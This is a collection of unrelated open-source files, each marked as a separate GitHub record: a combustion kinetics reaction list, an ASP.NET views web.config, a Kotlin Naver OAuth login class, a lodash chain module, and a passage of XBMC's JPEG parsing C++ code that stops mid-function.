rate-constant: {A: 1.0e+13, b: 0, Ea: 0} - equation: N + NO <=> N2 + O # Reaction 178 rate-constant: {A: 2.7e+13, b: 0, Ea: 355} - equation: N + O2 <=> NO + O # Reaction 179 rate-constant: {A: 9.0e+09, b: 1, Ea: 6500} - equation: N + OH <=> NO + H # Reaction 180 rate-constant: {A: 3.36e+13, b: 0, Ea: 385} - equation: N2O + O <=> N2 + O2 # Reaction 181 rate-constant: {A: 1.4e+12, b: 0, Ea: 10810} - equation: N2O + O <=> 2 NO # Reaction 182 rate-constant: {A: 2.9e+13, b: 0, Ea: 23150} - equation: N2O + H <=> N2 + OH # Reaction 183 rate-constant: {A: 3.87e+14, b: 0, Ea: 18880} - equation: N2O + OH <=> N2 + HO2 # Reaction 184 rate-constant: {A: 2.0e+12, b: 0, Ea: 21060} - equation: N2O (+ M) <=> N2 + O (+ M) # Reaction 185 type: falloff low-P-rate-constant: {A: 6.37e+14, b: 0, Ea: 56640} high-P-rate-constant: {A: 7.91e+10, b: 0, Ea: 56020} efficiencies: {AR: 0.625, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: HO2 + NO <=> NO2 + OH # Reaction 186 rate-constant: {A: 2.11e+12, b: 0, Ea: -480} - equation: NO + O + M <=> NO2 + M # Reaction 187 type: three-body rate-constant: {A: 1.06e+20, b: -1.41, Ea: 0} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: NO2 + O <=> NO + O2 # Reaction 188 rate-constant: {A: 3.9e+12, b: 0, Ea: -240} - equation: NO2 + H <=> NO + OH # Reaction 189 rate-constant: {A: 1.32e+14, b: 0, Ea: 360} - equation: NH + O <=> NO + H # Reaction 190 rate-constant: {A: 4.0e+13, b: 0, Ea: 0} - equation: NH + H <=> N + H2 # Reaction 191 rate-constant: {A: 3.2e+13, b: 0, Ea: 330} - equation: NH + OH <=> HNO + H # Reaction 192 rate-constant: {A: 2.0e+13, b: 0, Ea: 0} - equation: NH + OH <=> N + H2O # Reaction 193 rate-constant: {A: 2.0e+09, b: 1.2, Ea: 0} - equation: NH + O2 <=> HNO + O # Reaction 194 rate-constant: {A: 4.61e+05, b: 2, Ea: 6500} - equation: NH + O2 <=> NO + OH # Reaction 195 rate-constant: {A: 1.28e+06, b: 1.5, Ea: 100} - equation: NH + N <=> N2 + H # Reaction 196 rate-constant: {A: 1.5e+13, b: 0, Ea: 0} - equation: NH + H2O <=> HNO + H2 # Reaction 197 rate-constant: {A: 2.0e+13, b: 0, Ea: 13850} - equation: NH + NO <=> N2 + OH # Reaction 198 rate-constant: {A: 2.16e+13, b: -0.23, Ea: 0} - equation: NH + NO <=> N2O + H # Reaction 199 rate-constant: {A: 3.65e+14, b: -0.45, Ea: 0} - equation: NH2 + O <=> OH + NH # Reaction 200 rate-constant: {A: 3.0e+12, b: 0, Ea: 0} - equation: NH2 + O <=> H + HNO # Reaction 201 rate-constant: {A: 3.9e+13, b: 0, Ea: 0} - equation: NH2 + H <=> NH + H2 # Reaction 202 rate-constant: {A: 4.0e+13, b: 0, Ea: 3650} - equation: NH2 + OH <=> NH + H2O # Reaction 203 rate-constant: {A: 9.0e+07, b: 1.5, Ea: -460} - equation: NNH <=> N2 + H # Reaction 204 rate-constant: {A: 3.3e+08, b: 0, Ea: 0} - equation: NNH + M <=> N2 + H + M # Reaction 205 type: three-body rate-constant: {A: 1.3e+14, b: -0.11, Ea: 4980} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: NNH + O2 <=> HO2 + N2 # Reaction 206 rate-constant: {A: 5.0e+12, b: 0, Ea: 0} - equation: NNH + O <=> OH + N2 # Reaction 207 rate-constant: {A: 2.5e+13, b: 0, Ea: 0} - equation: NNH + O <=> NH + NO # Reaction 208 rate-constant: {A: 7.0e+13, b: 0, Ea: 0} - equation: NNH + H <=> H2 + N2 # Reaction 209 rate-constant: {A: 5.0e+13, b: 0, Ea: 0} - equation: NNH + OH <=> H2O + N2 # Reaction 210 rate-constant: {A: 2.0e+13, b: 0, Ea: 0} - equation: NNH + CH3 <=> CH4 + N2 # Reaction 211 rate-constant: {A: 2.5e+13, b: 0, Ea: 0} - equation: H + NO + M <=> HNO + M # Reaction 212 type: three-body rate-constant: {A: 4.48e+19, b: -1.32, Ea: 740} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: HNO + O <=> NO + OH # Reaction 213 rate-constant: {A: 2.5e+13, b: 0, Ea: 0} - equation: HNO + H <=> H2 + NO # Reaction 214 rate-constant: {A: 9.0e+11, b: 0.72, Ea: 660} - equation: HNO + OH <=> NO + H2O # Reaction 215 rate-constant: {A: 1.3e+07, b: 1.9, Ea: -950} - equation: HNO + O2 <=> HO2 + NO # Reaction 216 rate-constant: {A: 1.0e+13, b: 0, Ea: 13000} - equation: CN + O <=> CO + N # Reaction 217 rate-constant: {A: 7.7e+13, b: 0, Ea: 0} - equation: CN + OH <=> NCO + H # Reaction 218 rate-constant: {A: 4.0e+13, b: 0, Ea: 0} - equation: CN + H2O <=> HCN + OH # Reaction 219 rate-constant: {A: 8.0e+12, b: 0, Ea: 7460} - equation: CN + O2 <=> NCO + O # Reaction 220 rate-constant: {A: 6.14e+12, b: 0, Ea: -440} - equation: CN + H2 <=> HCN + H # Reaction 221 rate-constant: {A: 2.95e+05, b: 2.45, Ea: 2240} - equation: NCO + O <=> NO + CO # Reaction 222 rate-constant: {A: 2.35e+13, b: 0, Ea: 0} - equation: NCO + H <=> NH + CO # Reaction 223 rate-constant: {A: 5.4e+13, b: 0, Ea: 0} - equation: NCO + OH <=> NO + H + CO # Reaction 224 rate-constant: {A: 2.5e+12, b: 0, Ea: 0} - equation: NCO + N <=> N2 + CO # Reaction 225 rate-constant: {A: 2.0e+13, b: 0, Ea: 0} - equation: NCO + O2 <=> NO + CO2 # Reaction 226 rate-constant: {A: 2.0e+12, b: 0, Ea: 20000} - equation: NCO + M <=> N + CO + M # Reaction 227 type: three-body rate-constant: {A: 3.1e+14, b: 0, Ea: 54050} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: NCO + NO <=> N2O + CO # Reaction 228 rate-constant: {A: 1.9e+17, b: -1.52, Ea: 740} - equation: NCO + NO <=> N2 + CO2 # Reaction 229 rate-constant: {A: 3.8e+18, b: -2, Ea: 800} - equation: HCN + M <=> H + CN + M # Reaction 230 type: three-body rate-constant: {A: 1.04e+29, b: -3.3, Ea: 126600} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: HCN + O <=> NCO + H # Reaction 231 rate-constant: {A: 2.03e+04, b: 2.64, Ea: 4980} - equation: HCN + O <=> NH + CO # Reaction 232 rate-constant: {A: 5070.0, b: 2.64, Ea: 4980} - equation: HCN + O <=> CN + OH # Reaction 233 rate-constant: {A: 3.91e+09, b: 1.58, Ea: 26600} - equation: HCN + OH <=> HOCN + H # Reaction 234 rate-constant: {A: 1.1e+06, b: 2.03, Ea: 13370} - equation: HCN + OH <=> HNCO + H # Reaction 235 rate-constant: {A: 4400.0, b: 2.26, Ea: 6400} - equation: HCN + OH <=> NH2 + CO # Reaction 236 rate-constant: {A: 160.0, b: 2.56, Ea: 9000} - equation: H + HCN (+ M) <=> H2CN (+ M) # Reaction 237 type: falloff low-P-rate-constant: {A: 1.4e+26, b: -3.4, Ea: 1900} high-P-rate-constant: {A: 3.3e+13, b: 0, Ea: 0} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: H2CN + N <=> N2 + CH2 # Reaction 238 rate-constant: {A: 6.0e+13, b: 0, Ea: 400} - equation: C + N2 <=> CN + N # Reaction 239 rate-constant: {A: 6.3e+13, b: 0, Ea: 46020} - equation: CH + N2 <=> HCN + N # Reaction 240 rate-constant: {A: 3.12e+09, b: 0.88, Ea: 20130} - equation: CH + N2 (+ M) <=> HCNN (+ M) # Reaction 241 type: falloff low-P-rate-constant: {A: 1.3e+25, b: -3.16, Ea: 740} high-P-rate-constant: {A: 3.1e+12, b: 0.15, Ea: 0} Troe: {A: 0.667, T3: 235, T1: 2117, T2: 4536} efficiencies: {AR: 1, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: CH2 + N2 <=> HCN + NH # Reaction 242 rate-constant: {A: 1.0e+13, b: 0, Ea: 74000} - equation: CH2(S) + N2 <=> NH + HCN # Reaction 243 rate-constant: {A: 1.0e+11, b: 0, Ea: 65000} - equation: C + NO <=> CN + O # Reaction 244 rate-constant: {A: 1.9e+13, b: 0, Ea: 0} - equation: C + NO <=> CO + N # Reaction 245 rate-constant: {A: 2.9e+13, b: 0, Ea: 0} - equation: CH + NO <=> HCN + O # Reaction 246 rate-constant: {A: 4.1e+13, b: 0, Ea: 0} - equation: CH + NO <=> H + NCO # Reaction 247 rate-constant: {A: 1.62e+13, b: 0, Ea: 0} - equation: CH + NO <=> N + HCO # Reaction 248 rate-constant: {A: 2.46e+13, b: 0, Ea: 0} - equation: CH2 + NO <=> H + HNCO # Reaction 249 rate-constant: {A: 3.1e+17, b: -1.38, Ea: 1270} - equation: CH2 + NO <=> OH + HCN # Reaction 250 rate-constant: {A: 2.9e+14, b: -0.69, Ea: 760} - equation: CH2 + NO <=> H + HCNO # Reaction 251 rate-constant: {A: 3.8e+13, b: -0.36, Ea: 580} - equation: CH2(S) + NO <=> H + HNCO # Reaction 252 rate-constant: {A: 3.1e+17, b: -1.38, Ea: 1270} - equation: CH2(S) + NO <=> OH + HCN # Reaction 253 rate-constant: {A: 2.9e+14, b: -0.69, Ea: 760} - equation: CH2(S) + NO <=> H + HCNO # Reaction 254 rate-constant: {A: 3.8e+13, b: -0.36, Ea: 580} - equation: CH3 + NO <=> HCN + H2O # Reaction 255 rate-constant: {A: 9.6e+13, b: 0, Ea: 28800} - equation: CH3 + NO <=> H2CN + OH # Reaction 256 rate-constant: {A: 1.0e+12, b: 0, Ea: 21750} - equation: HCNN + O <=> CO + H + N2 # Reaction 257 rate-constant: {A: 2.2e+13, b: 0, Ea: 0} - equation: HCNN + O <=> HCN + NO # Reaction 258 rate-constant: {A: 2.0e+12, b: 0, Ea: 0} - equation: HCNN + O2 <=> O + HCO + N2 # Reaction 259 rate-constant: {A: 1.2e+13, b: 0, Ea: 0} - equation: HCNN + OH <=> H + HCO + N2 # Reaction 260 rate-constant: {A: 1.2e+13, b: 0, Ea: 0} - equation: HCNN + H <=> CH2 + N2 # Reaction 261 rate-constant: {A: 1.0e+14, b: 0, Ea: 0} - equation: HNCO + O <=> NH + CO2 # Reaction 262 rate-constant: {A: 9.8e+07, b: 1.41, Ea: 8500} - equation: HNCO + O <=> HNO + CO # Reaction 263 rate-constant: {A: 1.5e+08, b: 1.57, Ea: 44000} - equation: HNCO + O <=> NCO + OH # Reaction 264 rate-constant: {A: 2.2e+06, b: 2.11, Ea: 11400} - equation: HNCO + H <=> NH2 + CO # Reaction 265 rate-constant: {A: 2.25e+07, b: 1.7, Ea: 3800} - equation: HNCO + H <=> H2 + NCO # Reaction 266 rate-constant: {A: 1.05e+05, b: 2.5, Ea: 13300} - equation: HNCO + OH <=> NCO + H2O # Reaction 267 rate-constant: {A: 3.3e+07, b: 1.5, Ea: 3600} - equation: HNCO + OH <=> NH2 + CO2 # Reaction 268 rate-constant: {A: 3.3e+06, b: 1.5, Ea: 3600} - equation: HNCO + M <=> NH + CO + M # Reaction 269 type: three-body rate-constant: {A: 1.18e+16, b: 0, Ea: 84720} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: HCNO + H <=> H + HNCO # Reaction 270 rate-constant: {A: 2.1e+15, b: -0.69, Ea: 2850} - equation: HCNO + H <=> OH + HCN # Reaction 271 rate-constant: {A: 2.7e+11, b: 0.18, Ea: 2120} - equation: HCNO + H <=> NH2 + CO # Reaction 272 rate-constant: {A: 1.7e+14, b: -0.75, Ea: 2890} - equation: HOCN + H <=> H + HNCO # Reaction 273 rate-constant: {A: 2.0e+07, b: 2, Ea: 2000} - equation: HCCO + NO <=> HCNO + CO # Reaction 274 rate-constant: {A: 9.0e+12, b: 0, Ea: 0} - equation: CH3 + N <=> H2CN + H # Reaction 275 rate-constant: {A: 6.1e+14, b: -0.31, Ea: 290} - equation: CH3 + N <=> HCN + H2 # Reaction 276 rate-constant: {A: 3.7e+12, b: 0.15, Ea: -90} - equation: NH3 + H <=> NH2 + H2 # Reaction 277 rate-constant: {A: 5.4e+05, b: 2.4, Ea: 9915} - equation: NH3 + OH <=> NH2 + H2O # Reaction 278 rate-constant: {A: 5.0e+07, b: 1.6, Ea: 955} - equation: NH3 + O <=> NH2 + OH # Reaction 279 rate-constant: {A: 9.4e+06, b: 1.94, Ea: 6460} - equation: NH + CO2 <=> HNO + CO # Reaction 280 rate-constant: {A: 1.0e+13, b: 0, Ea: 14350} - equation: CN + NO2 <=> NCO + NO # Reaction 281 rate-constant: {A: 6.16e+15, b: -0.752, Ea: 345} - equation: NCO + NO2 <=> N2O + CO2 # Reaction 282 rate-constant: {A: 3.25e+12, b: 0, Ea: -705} - equation: N + CO2 <=> NO + CO # Reaction 283 rate-constant: {A: 3.0e+12, b: 0, Ea: 11300} - equation: O + CH3 => H + H2 + CO # Reaction 284 rate-constant: {A: 3.37e+13, b: 0, Ea: 0} - equation: O + C2H4 <=> H + CH2CHO # Reaction 285 rate-constant: {A: 6.7e+06, b: 1.83, Ea: 220} - equation: O + C2H5 <=> H + CH3CHO # Reaction 286 rate-constant: {A: 1.096e+14, b: 0, Ea: 0} - equation: OH + HO2 <=> O2 + H2O # Reaction 287 rate-constant: {A: 5.0e+15, b: 0, Ea: 17330} duplicate: true - equation: OH + CH3 => H2 + CH2O # Reaction 288 rate-constant: {A: 8.0e+09, b: 0.5, Ea: -1755} - equation: CH + H2 (+ M) <=> CH3 (+ M) # Reaction 289 type: falloff low-P-rate-constant: {A: 4.82e+25, b: -2.8, Ea: 590} high-P-rate-constant: {A: 1.97e+12, b: 0.43, Ea: -370} Troe: {A: 0.578, T3: 122, T1: 2535, T2: 9365} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: CH2 + O2 => 2 H + CO2 # Reaction 290 rate-constant: {A: 5.8e+12, b: 0, Ea: 1500} - equation: CH2 + O2 <=> O + CH2O # Reaction 291 rate-constant: {A: 2.4e+12, b: 0, Ea: 1500} - equation: CH2 + CH2 => 2 H + C2H2 # Reaction 292 rate-constant: {A: 2.0e+14, b: 0, Ea: 10989} - equation: CH2(S) + H2O => H2 + CH2O # Reaction 293 rate-constant: {A: 6.82e+10, b: 0.25, Ea: -935} - equation: C2H3 + O2 <=> O + CH2CHO # Reaction 294 rate-constant: {A: 3.03e+11, b: 0.29, Ea: 11} - equation: C2H3 + O2 <=> HO2 + C2H2 # Reaction 295 rate-constant: {A: 1.337e+06, b: 1.61, Ea: -384} - equation: O + CH3CHO <=> OH + CH2CHO # Reaction 296 rate-constant: {A: 2.92e+12, b: 0, Ea: 1808} - equation: O + CH3CHO => OH + CH3 + CO # Reaction 297 rate-constant: {A: 2.92e+12, b: 0, Ea: 1808} - equation: O2 + CH3CHO => HO2 + CH3 + CO # Reaction 298 rate-constant: {A: 3.01e+13, b: 0, Ea: 39150} - equation: H + CH3CHO <=> CH2CHO + H2 # Reaction 299 rate-constant: {A: 2.05e+09, b: 1.16, Ea: 2405} - equation: H + CH3CHO => CH3 + H2 + CO # Reaction 300 rate-constant: {A: 2.05e+09, b: 1.16, Ea: 2405} - equation: OH + CH3CHO => CH3 + H2O + CO # Reaction 301 rate-constant: {A: 2.343e+10, b: 0.73, Ea: -1113} - equation: HO2 + CH3CHO => CH3 + H2O2 + CO # Reaction 302 rate-constant: {A: 3.01e+12, b: 0, Ea: 11923} - equation: CH3 + CH3CHO => CH3 + CH4 + CO # Reaction 303 rate-constant: {A: 2.72e+06, b: 1.77, Ea: 5920} - equation: H + CH2CO (+ M) <=> CH2CHO (+ M) # Reaction 304 type: falloff low-P-rate-constant: {A: 1.012e+42, b: -7.63, Ea: 3854} high-P-rate-constant: {A: 4.865e+11, b: 0.422, Ea: -1755} Troe: {A: 0.465, T3: 201, T1: 1773, T2: 5333} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: O + CH2CHO => H + CH2 + CO2 # Reaction 305 rate-constant: {A: 1.5e+14, b: 0, Ea: 0} - equation: O2 + CH2CHO => OH + CO + CH2O # Reaction 306 rate-constant: {A: 1.81e+10, b: 0, Ea: 0} - equation: O2 + CH2CHO => OH + 2 HCO # Reaction 307 rate-constant: {A: 2.35e+10, b: 0, Ea: 0} - equation: H + CH2CHO <=> CH3 + HCO # Reaction 308 rate-constant: {A: 2.2e+13, b: 0, Ea: 0} - equation: H + CH2CHO <=> CH2CO + H2 # Reaction 309 rate-constant: {A: 1.1e+13, b: 0, Ea: 0} - equation: OH + CH2CHO <=> H2O + CH2CO # Reaction 310 rate-constant: {A: 1.2e+13, b: 0, Ea: 0} - equation: OH + CH2CHO <=> HCO + CH2OH # Reaction 311 rate-constant: {A: 3.01e+13, b: 0, Ea: 0} - equation: CH3 + C2H5 (+ M) <=> C3H8 (+ M) # Reaction 312 type: falloff low-P-rate-constant: {A: 2.71e+74, b: -16.82, Ea: 13065} high-P-rate-constant: {A: 9.43e+12, b: 0, Ea: 0} Troe: {A: 0.1527, T3: 291, T1: 2742, T2: 7748} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: O + C3H8 <=> OH + C3H7 # Reaction 313 rate-constant: {A: 1.93e+05, b: 2.68, Ea: 3716} - equation: H + C3H8 <=> C3H7 + H2 # Reaction 314 rate-constant: {A: 1.32e+06, b: 2.54, Ea: 6756} - equation: OH + C3H8 <=> C3H7 + H2O # Reaction 315 rate-constant: {A: 3.16e+07, b: 1.8, Ea: 934} - equation: C3H7 + H2O2 <=> HO2 + C3H8 # Reaction 316 rate-constant: {A: 378.0, b: 2.72, Ea: 1500} - equation: CH3 + C3H8 <=> C3H7 + CH4 # Reaction 317 rate-constant: {A: 0.903, b: 3.65, Ea: 7154} - equation: CH3 + C2H4 (+ M) <=> C3H7 (+ M) # Reaction 318 type: falloff low-P-rate-constant: {A: 3.0e+63, b: -14.6, Ea: 18170} high-P-rate-constant: {A: 2.55e+06, b: 1.6, Ea: 5700} Troe: {A: 0.1894, T3: 277, T1: 8748, T2: 7891} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: O + C3H7 <=> C2H5 + CH2O # Reaction 319 rate-constant: {A: 9.64e+13, b: 0, Ea: 0} - equation: H + C3H7 (+ M) <=> C3H8 (+ M) # Reaction 320 type: falloff low-P-rate-constant: {A: 4.42e+61, b: -13.545, Ea: 11357} high-P-rate-constant: {A: 3.613e+13, b: 0, Ea: 0} Troe: {A: 0.315, T3: 369, T1: 3285, T2: 6667} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: H + C3H7 <=> CH3 + C2H5 # Reaction 321 rate-constant: {A: 4.06e+06, b: 2.19, Ea: 890} - equation: OH + C3H7 <=> C2H5 + CH2OH # Reaction 322 rate-constant: {A: 2.41e+13, b: 0, Ea: 0} - equation: HO2 + C3H7 <=> O2 + C3H8 # Reaction 323 rate-constant: {A: 2.55e+10, b: 0.255, Ea: -943} - equation: HO2 + C3H7 => OH + C2H5 + CH2O # Reaction 324 rate-constant: {A: 2.41e+13, b: 0, Ea: 0} - equation: CH3 + C3H7 <=> 2 C2H5 # Reaction 325 rate-constant: {A: 1.927e+13, b: -0.32, Ea: 0}
{ "pile_set_name": "Github" }
<?xml version="1.0"?> <configuration> <configSections> <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35"> <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" requirePermission="false" /> <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" requirePermission="false" /> </sectionGroup> </configSections> <system.web.webPages.razor> <host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" /> <pages pageBaseType="System.Web.Mvc.WebViewPage"> <namespaces> <add namespace="System.Web.Mvc" /> <add namespace="System.Web.Mvc.Ajax" /> <add namespace="System.Web.Mvc.Html" /> <add namespace="System.Web.Optimization"/> <add namespace="System.Web.Routing" /> <add namespace="AdatumWebsite" /> </namespaces> </pages> </system.web.webPages.razor> <appSettings> <add key="webpages:Enabled" value="false" /> </appSettings> <system.webServer> <handlers> <remove name="BlockViewHandler"/> <add name="BlockViewHandler" path="*" verb="*" preCondition="integratedMode" type="System.Web.HttpNotFoundHandler" /> </handlers> </system.webServer> </configuration>
{ "pile_set_name": "Github" }
package com.github.windsekirun.rxsociallogin.naver import android.annotation.SuppressLint import android.content.Intent import android.support.v4.app.FragmentActivity import com.github.kittinunf.fuel.httpGet import com.github.windsekirun.rxsociallogin.BaseSocialLogin import com.github.windsekirun.rxsociallogin.RxSocialLogin import com.github.windsekirun.rxsociallogin.RxSocialLogin.getPlatformConfig import com.github.windsekirun.rxsociallogin.intenal.exception.LoginFailedException import com.github.windsekirun.rxsociallogin.intenal.model.LoginResultItem import com.github.windsekirun.rxsociallogin.intenal.model.PlatformType import com.github.windsekirun.rxsociallogin.intenal.utils.toResultObservable import com.nhn.android.naverlogin.OAuthLogin import com.nhn.android.naverlogin.OAuthLoginDefine import com.nhn.android.naverlogin.OAuthLoginHandler import io.reactivex.android.schedulers.AndroidSchedulers import io.reactivex.schedulers.Schedulers import pyxis.uzuki.live.richutilskt.utils.createJSONObject import pyxis.uzuki.live.richutilskt.utils.getJSONObject import pyxis.uzuki.live.richutilskt.utils.getJSONString class NaverLogin constructor(activity: FragmentActivity) : BaseSocialLogin(activity) { private val requestUrl = "https://openapi.naver.com/v1/nid/me" private val authLogin = OAuthLogin.getInstance() override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) { } override fun login() { OAuthLoginDefine.MARKET_LINK_WORKING = false val config = getPlatformConfig(PlatformType.NAVER) as NaverConfig authLogin.init(activity, config.authClientId, config.authClientSecret, config.clientName) authLogin.startOauthLoginActivity(activity, NaverLoginHandler()) } override fun logout(clearToken: Boolean) { if (clearToken) { OAuthLogin.getInstance().logoutAndDeleteToken(activity) } else { OAuthLogin.getInstance().logout(activity) } } @SuppressLint("HandlerLeak") private inner class NaverLoginHandler : OAuthLoginHandler() { override fun run(success: Boolean) { if (success) { val accessToken = authLogin.getAccessToken(activity) val authHeader = "Bearer $accessToken" requestProfile(authHeader, accessToken) } else { callbackAsFail(LoginFailedException(RxSocialLogin.EXCEPTION_FAILED_RESULT)) } } } private fun requestProfile(authHeader: String, accessToken: String) { val disposable = requestUrl.httpGet() .header("Authorization" to authHeader) .toResultObservable() .subscribeOn(Schedulers.newThread()) .observeOn(AndroidSchedulers.mainThread()) .subscribe { result, error -> if (error == null && result.component1() != null) { parseUserInfo(result.component1(), accessToken) } else { callbackAsFail(LoginFailedException(RxSocialLogin.EXCEPTION_FAILED_RESULT, error)) } } compositeDisposable.add(disposable) } private fun parseUserInfo(jsonStr: String?, accessToken: String) { val jsonObject = jsonStr?.createJSONObject() val responseObject = getJSONObject(jsonObject, "response") if (responseObject == null) { callbackAsFail(LoginFailedException(RxSocialLogin.EXCEPTION_FAILED_RESULT)) return } val item = LoginResultItem().apply { this.id = responseObject.getJSONString("id") this.name = responseObject.getJSONString("name") this.email = responseObject.getJSONString("email") this.nickname = responseObject.getJSONString("nickname") this.gender = responseObject.getJSONString("gender") this.age = responseObject.getJSONString("age") this.birthday = responseObject.getJSONString("birthday") this.profilePicture = responseObject.getJSONString("profile_image") this.accessToken = accessToken this.platform = PlatformType.NAVER this.result = true } callbackAsSuccess(item) } }
{ "pile_set_name": "Github" }
var chain = require('./chain'); /** * Creates a `lodash` wrapper instance with explicit method chain sequences enabled. * * @name chain * @memberOf _ * @since 0.1.0 * @category Seq * @returns {Object} Returns the new `lodash` wrapper instance. * @example * * var users = [ * { 'user': 'barney', 'age': 36 }, * { 'user': 'fred', 'age': 40 } * ]; * * // A sequence without explicit chaining. * _(users).head(); * // => { 'user': 'barney', 'age': 36 } * * // A sequence with explicit chaining. * _(users) * .chain() * .head() * .pick('user') * .value(); * // => { 'user': 'barney' } */ function wrapperChain() { return chain(this); } module.exports = wrapperChain;
{ "pile_set_name": "Github" }
/* * Copyright (C) 2005-2007 Team XboxMediaCenter * http://xbmc.org * * This Program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * This Program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with GNU Make; see the file COPYING. If not, write to * the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. * http://www.gnu.org/copyleft/gpl.html * */ //-------------------------------------------------------------------------- // This module gathers information about a digital image file. This includes: // - File name and path // - File size // - Resolution (if available) // - IPTC information (if available) // - EXIF information (if available) // All gathered information is stored in a vector of 'description' and 'value' // pairs (where both description and value fields are of CStdString types). //-------------------------------------------------------------------------- #ifndef _LINUX #include <windows.h> #else #include <memory.h> #include <cstring> #define min(a,b) (a)>(b)?(b):(a) typedef unsigned char BYTE; #endif #include "JpegParse.h" //-------------------------------------------------------------------------- #define JPEG_PARSE_STRING_ID_BASE 21500 enum { ProcessUnknown = JPEG_PARSE_STRING_ID_BASE, ProcessSof0, ProcessSof1, ProcessSof2, ProcessSof3, ProcessSof5, ProcessSof6, ProcessSof7, ProcessSof9, ProcessSof10, ProcessSof11, ProcessSof13, ProcessSof14, ProcessSof15, }; //-------------------------------------------------------------------------- // Constructor //-------------------------------------------------------------------------- CJpegParse::CJpegParse(): m_SectionBuffer(NULL) { memset(&m_ExifInfo, 0, sizeof(m_ExifInfo)); memset(&m_IPTCInfo, 0, sizeof(m_IPTCInfo)); } //-------------------------------------------------------------------------- // Process a SOFn marker. This is useful for the image dimensions //-------------------------------------------------------------------------- void CJpegParse::ProcessSOFn (void) { m_ExifInfo.Height = CExifParse::Get16(m_SectionBuffer+3); m_ExifInfo.Width = CExifParse::Get16(m_SectionBuffer+5); unsigned char num_components = m_SectionBuffer[7]; if (num_components != 3) { m_ExifInfo.IsColor = 0; } else { m_ExifInfo.IsColor = 1; } } //-------------------------------------------------------------------------- // Read a section from a JPEG file. Note that this function allocates memory. // It must be called in pair with ReleaseSection //-------------------------------------------------------------------------- bool CJpegParse::GetSection (FILE *infile, const unsigned short sectionLength) { if (sectionLength < 2) { printf("JpgParse: invalid section length"); return false; } m_SectionBuffer = new unsigned char[sectionLength]; if (m_SectionBuffer == NULL) { printf("JpgParse: could not allocate memory"); return false; } // Store first two pre-read bytes. m_SectionBuffer[0] = (unsigned char)(sectionLength >> 8); m_SectionBuffer[1] = (unsigned char)(sectionLength & 0x00FF); unsigned int len = (unsigned int)sectionLength; size_t bytesRead = fread(m_SectionBuffer+sizeof(sectionLength), 1, len-sizeof(sectionLength), infile); if (bytesRead != sectionLength-sizeof(sectionLength)) { printf("JpgParse: premature end of file?"); ReleaseSection(); return false; } return true; } //-------------------------------------------------------------------------- // Deallocate memory allocated in GetSection. This function must always // be paired by a preceeding GetSection call. //-------------------------------------------------------------------------- void CJpegParse::ReleaseSection (void) { delete[] m_SectionBuffer; m_SectionBuffer = NULL; } //-------------------------------------------------------------------------- // Parse the marker stream until SOS or EOI is seen; infile has already been // successfully open //-------------------------------------------------------------------------- bool CJpegParse::ExtractInfo (FILE *infile) { // Get file marker (two bytes - must be 0xFFD8 for JPEG files BYTE a; size_t bytesRead = fread(&a, 1, sizeof(BYTE), infile); if ((bytesRead != sizeof(BYTE)) || (a != 0xFF)) { return false; } bytesRead = fread(&a, 1, sizeof(BYTE), infile); if ((bytesRead != sizeof(BYTE)) || (a != M_SOI)) { return false; } for(;;) { BYTE marker = 0; for (a=0; a<7; a++) { fread(&marker, 1, sizeof(BYTE), infile); if (marker != 0xFF) break; if (a >= 6) { printf("JpgParse: too many padding bytes"); return false; } marker = 0; } // Read the length of the section. unsigned short itemlen = 0; bytesRead = fread(&itemlen, 1, sizeof(itemlen), infile); itemlen = CExifParse::Get16(&itemlen); if ((bytesRead != sizeof(itemlen)) || (itemlen < sizeof(itemlen))) { printf("JpgParse: invalid marker"); return false; } switch(marker) { case M_SOS: // stop before hitting compressed data return true; case M_EOI: // in case it's a tables-only JPEG stream printf("JpgParse: No image in jpeg!"); return false; break; case M_COM: // Comment section GetSection(infile, itemlen); if (m_SectionBuffer != NULL) { // CExifParse::FixComment(comment); // Ensure comment is printable unsigned short length = min(itemlen - 2, MAX_COMMENT); 